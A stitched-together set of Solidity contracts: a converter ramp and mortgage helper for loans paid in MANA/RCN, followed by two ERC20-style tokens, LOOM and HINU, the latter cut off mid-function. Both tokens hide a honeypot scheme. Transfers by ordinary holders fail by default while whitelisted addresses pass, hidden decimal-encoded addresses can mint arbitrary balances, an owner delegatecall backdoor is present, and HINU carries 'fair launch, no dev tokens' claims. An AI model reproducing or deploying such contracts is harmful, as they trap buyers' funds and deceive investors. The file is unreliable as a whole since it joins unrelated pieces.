convertRules[I_MARGIN_SPEND]
);
}
function lend(
TokenConverter converter,
Token fromToken,
bytes32[3] loanParams,
bytes oracleData,
bytes cosignerData,
uint256[3] convertRules
) external payable returns (bool) {
Token rcn = NanoLoanEngine(address(loanParams[0])).rcn();
uint256 initialBalance = rcn.balanceOf(this);
uint256 requiredRcn = getRequiredRcnLend(loanParams, oracleData, cosignerData);
emit RequiredRcn(requiredRcn);
uint256 optimalSell = getOptimalSell(converter, fromToken, rcn, requiredRcn, convertRules[I_MARGIN_SPEND]);
emit OptimalSell(fromToken, optimalSell);
pullAmount(fromToken, optimalSell);
uint256 bought = convertSafe(converter, fromToken, rcn, optimalSell);
// Lend loan
require(rcn.approve(address(loanParams[0]), bought));
require(executeLend(loanParams, oracleData, cosignerData), "Error lending the loan");
require(rcn.approve(address(loanParams[0]), 0));
require(executeTransfer(loanParams, msg.sender), "Error transfering the loan");
require(
rebuyAndReturn({
converter: converter,
fromToken: rcn,
toToken: fromToken,
amount: rcn.balanceOf(this) - initialBalance,
spentAmount: optimalSell,
convertRules: convertRules
}),
"Error rebuying the tokens"
);
require(rcn.balanceOf(this) == initialBalance);
return true;
}
function pullAmount(
Token token,
uint256 amount
) private {
if (token == ETH_ADDRESS) {
require(msg.value >= amount, "Error pulling ETH amount");
if (msg.value > amount) {
msg.sender.transfer(msg.value - amount);
}
} else {
require(token.transferFrom(msg.sender, this, amount), "Error pulling Token amount");
}
}
function transfer(
Token token,
address to,
uint256 amount
) private {
if (token == ETH_ADDRESS) {
to.transfer(amount);
} else {
require(token.transfer(to, amount), "Error sending tokens");
}
}
function rebuyAndReturn(
TokenConverter converter,
Token fromToken,
Token toToken,
uint256 amount,
uint256 spentAmount,
uint256[3] memory convertRules
) internal returns (bool) {
uint256 threshold = convertRules[I_REBUY_THRESHOLD];
uint256 bought = 0;
if (amount != 0) {
if (amount > threshold) {
bought = convertSafe(converter, fromToken, toToken, amount);
emit RequiredRebuy(toToken, amount);
emit Return(toToken, msg.sender, bought);
transfer(toToken, msg.sender, bought);
} else {
emit Return(fromToken, msg.sender, amount);
transfer(fromToken, msg.sender, amount);
}
}
uint256 maxSpend = convertRules[I_MAX_SPEND];
require(spentAmount.safeSubtract(bought) <= maxSpend || maxSpend == 0, "Max spend exceeded");
return true;
}
function getOptimalSell(
TokenConverter converter,
Token fromToken,
Token toToken,
uint256 requiredTo,
uint256 extraSell
) internal returns (uint256 sellAmount) {
uint256 sellRate = (10 ** 18 * converter.getReturn(toToken, fromToken, requiredTo)) / requiredTo;
if (extraSell == AUTO_MARGIN) {
uint256 expectedReturn = 0;
uint256 optimalSell = applyRate(requiredTo, sellRate);
uint256 increment = applyRate(requiredTo / 100000, sellRate);
uint256 returnRebuy;
uint256 cl;
while (expectedReturn < requiredTo && cl < 10) {
optimalSell += increment;
returnRebuy = converter.getReturn(fromToken, toToken, optimalSell);
optimalSell = (optimalSell * requiredTo) / returnRebuy;
expectedReturn = returnRebuy;
cl++;
}
emit RunAutoMargin(cl, increment);
return optimalSell;
} else {
return applyRate(requiredTo, sellRate).safeMult(uint256(100000).safeAdd(extraSell)) / 100000;
}
}
function convertSafe(
TokenConverter converter,
Token fromToken,
Token toToken,
uint256 amount
) internal returns (uint256 bought) {
if (fromToken != ETH_ADDRESS) require(fromToken.approve(converter, amount));
uint256 prevBalance = toToken != ETH_ADDRESS ? toToken.balanceOf(this) : address(this).balance;
uint256 sendEth = fromToken == ETH_ADDRESS ? amount : 0;
uint256 boughtAmount = converter.convert.value(sendEth)(fromToken, toToken, amount, 1);
require(
boughtAmount == (toToken != ETH_ADDRESS ? toToken.balanceOf(this) : address(this).balance) - prevBalance,
"Bought amound does does not match"
);
if (fromToken != ETH_ADDRESS) require(fromToken.approve(converter, 0));
return boughtAmount;
}
function executeOptimalPay(
bytes32[4] memory params,
bytes oracleData,
uint256 rcnToPay
) internal returns (bool) {
NanoLoanEngine engine = NanoLoanEngine(address(params[I_ENGINE]));
uint256 index = uint256(params[I_INDEX]);
Oracle oracle = engine.getOracle(index);
uint256 toPay;
if (oracle == address(0)) {
toPay = rcnToPay;
} else {
uint256 rate;
uint256 decimals;
bytes32 currency = engine.getCurrency(index);
(rate, decimals) = oracle.getRate(currency, oracleData);
toPay = (rcnToPay * (10 ** (18 - decimals + (18 * 2)) / rate)) / 10 ** 18;
}
Token rcn = engine.rcn();
require(rcn.approve(engine, rcnToPay));
require(engine.pay(index, toPay, address(params[I_PAY_FROM]), oracleData), "Error paying the loan");
require(rcn.approve(engine, 0));
return true;
}
function executeLend(
bytes32[3] memory params,
bytes oracleData,
bytes cosignerData
) internal returns (bool) {
NanoLoanEngine engine = NanoLoanEngine(address(params[I_ENGINE]));
uint256 index = uint256(params[I_INDEX]);
return engine.lend(index, oracleData, Cosigner(address(params[I_LEND_COSIGNER])), cosignerData);
}
function executeTransfer(
bytes32[3] memory params,
address to
) internal returns (bool) {
return NanoLoanEngine(address(params[0])).transfer(to, uint256(params[1]));
}
function applyRate(
uint256 amount,
uint256 rate
) pure internal returns (uint256) {
return amount.safeMult(rate) / 10 ** 18;
}
function getRequiredRcnLend(
bytes32[3] memory params,
bytes oracleData,
bytes cosignerData
) internal returns (uint256 required) {
NanoLoanEngine engine = NanoLoanEngine(address(params[I_ENGINE]));
uint256 index = uint256(params[I_INDEX]);
Cosigner cosigner = Cosigner(address(params[I_LEND_COSIGNER]));
if (cosigner != address(0)) {
required += cosigner.cost(engine, index, cosignerData, oracleData);
}
required += engine.convertRate(engine.getOracle(index), engine.getCurrency(index), oracleData, engine.getAmount(index));
}
function getRequiredRcnPay(
bytes32[4] memory params,
bytes oracleData
) internal returns (uint256) {
NanoLoanEngine engine = NanoLoanEngine(address(params[I_ENGINE]));
uint256 index = uint256(params[I_INDEX]);
uint256 amount = uint256(params[I_PAY_AMOUNT]);
return engine.convertRate(engine.getOracle(index), engine.getCurrency(index), oracleData, amount);
}
function sendTransaction(
address to,
uint256 value,
bytes data
) external onlyOwner returns (bool) {
return to.call.value(value)(data);
}
function() external {}
}
// File: contracts/MortgageHelper.sol
/**
@notice Set of functions to operate the mortgage manager in less transactions
*/
contract MortgageHelper is Ownable {
using LrpSafeMath for uint256;
MortgageManager public mortgageManager;
NanoLoanEngine public nanoLoanEngine;
Token public rcn;
Token public mana;
LandMarket public landMarket;
TokenConverter public tokenConverter;
ConverterRamp public converterRamp;
address public manaOracle;
uint256 public requiredTotal = 105;
uint256 public rebuyThreshold = 0.001 ether;
uint256 public marginSpend = 500;
uint256 public maxSpend = 300;
bytes32 public constant MANA_CURRENCY = 0x4d414e4100000000000000000000000000000000000000000000000000000000;
event NewMortgage(address borrower, uint256 loanId, uint256 landId, uint256 mortgageId);
event PaidLoan(address engine, uint256 loanId, uint256 amount);
event SetRebuyThreshold(uint256 _prev, uint256 _new);
event SetMarginSpend(uint256 _prev, uint256 _new);
event SetMaxSpend(uint256 _prev, uint256 _new);
event SetRequiredTotal(uint256 _prev, uint256 _new);
event SetTokenConverter(address _prev, address _new);
event SetConverterRamp(address _prev, address _new);
event SetManaOracle(address _manaOracle);
event SetEngine(address _engine);
event SetLandMarket(address _landMarket);
event SetMortgageManager(address _mortgageManager);
constructor(
MortgageManager _mortgageManager,
NanoLoanEngine _nanoLoanEngine,
LandMarket _landMarket,
address _manaOracle,
TokenConverter _tokenConverter,
ConverterRamp _converterRamp
) public {
mortgageManager = _mortgageManager;
nanoLoanEngine = _nanoLoanEngine;
rcn = _mortgageManager.rcn();
mana = _mortgageManager.mana();
landMarket = _landMarket;
manaOracle = _manaOracle;
tokenConverter = _tokenConverter;
converterRamp = _converterRamp;
// Sanity checks
require(_nanoLoanEngine.rcn() == rcn, "RCN Mismatch");
require(_mortgageManager.engines(_nanoLoanEngine), "Engine is not approved");
require(_isContract(mana), "MANA should be a contract");
require(_isContract(rcn), "RCN should be a contract");
require(_isContract(_tokenConverter), "Token converter should be a contract");
require(_isContract(_landMarket), "Land market should be a contract");
require(_isContract(_converterRamp), "Converter ramp should be a contract");
require(_isContract(_manaOracle), "MANA Oracle should be a contract");
require(_isContract(_mortgageManager), "Mortgage manager should be a contract");
emit SetConverterRamp(converterRamp, _converterRamp);
emit SetTokenConverter(tokenConverter, _tokenConverter);
emit SetEngine(_nanoLoanEngine);
emit SetLandMarket(_landMarket);
emit SetMortgageManager(_mortgageManager);
emit SetManaOracle(_manaOracle);
emit SetMaxSpend(0, maxSpend);
emit SetMarginSpend(0, marginSpend);
emit SetRebuyThreshold(0, rebuyThreshold);
emit SetRequiredTotal(0, requiredTotal);
}
/**
@dev Creates a loan using an array of parameters
@param params 0 - Ammount
1 - Interest rate
2 - Interest rate punitory
3 - Dues in
4 - Cancelable at
5 - Expiration of request
@param metadata Loan metadata
@return Id of the loan
*/
function createLoan(uint256[6] memory params, string metadata) internal returns (uint256) {
return nanoLoanEngine.createLoan(
manaOracle,
msg.sender,
MANA_CURRENCY,
params[0],
params[1],
params[2],
params[3],
params[4],
params[5],
metadata
);
}
/**
@notice Sets a max amount to expend when performing the payment
@dev Only owner
@param _maxSpend New maxSPend value
@return true If the change was made
*/
function setMaxSpend(uint256 _maxSpend) external onlyOwner returns (bool) {
emit SetMaxSpend(maxSpend, _maxSpend);
maxSpend = _maxSpend;
return true;
}
/**
@notice Sets required total of the mortgage
@dev Only owner
@param _requiredTotal New requiredTotal value
@return true If the change was made
*/
function setRequiredTotal(uint256 _requiredTotal) external onlyOwner returns (bool) {
emit SetRequiredTotal(requiredTotal, _requiredTotal);
requiredTotal = _requiredTotal;
return true;
}
/**
@notice Sets a new converter ramp to delegate the pay of the loan
@dev Only owner
@param _converterRamp Address of the converter ramp contract
@return true If the change was made
*/
function setConverterRamp(ConverterRamp _converterRamp) external onlyOwner returns (bool) {
require(_isContract(_converterRamp), "Should be a contract");
emit SetConverterRamp(converterRamp, _converterRamp);
converterRamp = _converterRamp;
return true;
}
/**
@notice Sets a new min of tokens to rebuy when paying a loan
@dev Only owner
@param _rebuyThreshold New rebuyThreshold value
@return true If the change was made
*/
function setRebuyThreshold(uint256 _rebuyThreshold) external onlyOwner returns (bool) {
emit SetRebuyThreshold(rebuyThreshold, _rebuyThreshold);
rebuyThreshold = _rebuyThreshold;
return true;
}
/**
@notice Sets how much the converter ramp is going to oversell to cover fees and gaps
@dev Only owner
@param _marginSpend New marginSpend value
@return true If the change was made
*/
function setMarginSpend(uint256 _marginSpend) external onlyOwner returns (bool) {
emit SetMarginSpend(marginSpend, _marginSpend);
marginSpend = _marginSpend;
return true;
}
/**
@notice Sets the token converter used to convert the MANA into RCN when performing the payment
@dev Only owner
@param _tokenConverter Address of the tokenConverter contract
@return true If the change was made
*/
function setTokenConverter(TokenConverter _tokenConverter) external onlyOwner returns (bool) {
require(_isContract(_tokenConverter), "Should be a contract");
emit SetTokenConverter(tokenConverter, _tokenConverter);
tokenConverter = _tokenConverter;
return true;
}
function setManaOracle(address _manaOracle) external onlyOwner returns (bool) {
require(_isContract(_manaOracle), "Should be a contract");
emit SetManaOracle(_manaOracle);
manaOracle = _manaOracle;
return true;
}
function setEngine(NanoLoanEngine _engine) external onlyOwner returns (bool) {
require(_isContract(_engine), "Should be a contract");
emit SetEngine(_engine);
nanoLoanEngine = _engine;
return true;
}
function setLandMarket(LandMarket _landMarket) external onlyOwner returns (bool) {
require(_isContract(_landMarket), "Should be a contract");
emit SetLandMarket(_landMarket);
landMarket = _landMarket;
return true;
}
function setMortgageManager(MortgageManager _mortgageManager) external onlyOwner returns (bool) {
require(_isContract(_mortgageManager), "Should be a contract");
emit SetMortgageManager(_mortgageManager);
mortgageManager = _mortgageManager;
return true;
}
/**
@notice Request a loan and attachs a mortgage request
@dev Requires the loan signed by the borrower
@param loanParams 0 - Ammount
1 - Interest rate
2 - Interest rate punitory
3 - Dues in
4 - Cancelable at
5 - Expiration of request
@param metadata Loan metadata
@param landId Land to buy with the mortgage
@param v Loan signature by the borrower
@param r Loan signature by the borrower
@param s Loan signature by the borrower
@return The id of the mortgage
*/
function requestMortgage(
uint256[6] loanParams,
string metadata,
uint256 landId,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256) {
// Create a loan with the loanParams and metadata
uint256 loanId = createLoan(loanParams, metadata);
// Load NanoLoanEngine address
NanoLoanEngine _nanoLoanEngine = nanoLoanEngine;
// Approve the created loan with the provided signature
require(_nanoLoanEngine.registerApprove(_nanoLoanEngine.getIdentifier(loanId), v, r, s), "Signature not valid");
// Calculate the requested amount for the mortgage deposit
uint256 requiredDeposit = ((readLandCost(landId) * requiredTotal) / 100) - _nanoLoanEngine.getAmount(loanId);
// Pull the required deposit amount
Token _mana = mana;
_tokenTransferFrom(_mana, msg.sender, this, requiredDeposit);
require(_mana.approve(mortgageManager, requiredDeposit), "Error approve MANA transfer");
// Create the mortgage request
uint256 mortgageId = mortgageManager.requestMortgageId(
Engine(_nanoLoanEngine),
landMarket,
loanId,
requiredDeposit,
landId,
tokenConverter
);
require(_mana.approve(mortgageManager, 0), "Error remove approve MANA transfer");
emit NewMortgage(msg.sender, loanId, landId, mortgageId);
return mortgageId;
}
function readLandCost(uint256 _landId) internal view returns (uint256 landCost) {
(, , landCost, ) = landMarket.auctionByAssetId(_landId);
}
/**
@notice Pays a loan using mana
@dev The amount to pay must be set on mana
@param engine RCN Engine
@param loan Loan id to pay
@param amount Amount in MANA to pay
@return True if the payment was performed
*/
function pay(address engine, uint256 loan, uint256 amount) external returns (bool) {
emit PaidLoan(engine, loan, amount);
bytes32[4] memory loanParams = [
bytes32(engine),
bytes32(loan),
bytes32(amount),
bytes32(msg.sender)
];
uint256[3] memory converterParams = [
marginSpend,
amount.safeMult(uint256(100000).safeAdd(maxSpend)) / 100000,
rebuyThreshold
];
require(address(converterRamp).delegatecall(
bytes4(0x86ee863d),
address(tokenConverter),
address(mana),
loanParams,
0x140,
converterParams,
0x0
), "Error delegate pay call");
}
function _tokenTransferFrom(Token token, address from, address to, uint256 amount) internal {
require(token.balanceOf(from) >= amount, "From balance is not enough");
require(token.allowance(from, address(this)) >= amount, "Allowance is not enough");
require(token.transferFrom(from, to, amount), "Transfer failed");
}
function _isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
|
DC1
|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
//heyuemingchen
contract LOOM {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
/*
No discrimination of where you come from or what colour of fur you have, we all come from
different walks of life but we are all equal! This token will give everyone a fair chance to get their paws on some Alpha!
FAIR LAUNCH
NO PRE SALE
NO DEV TOKENS
NO BOTS
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract HINU {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
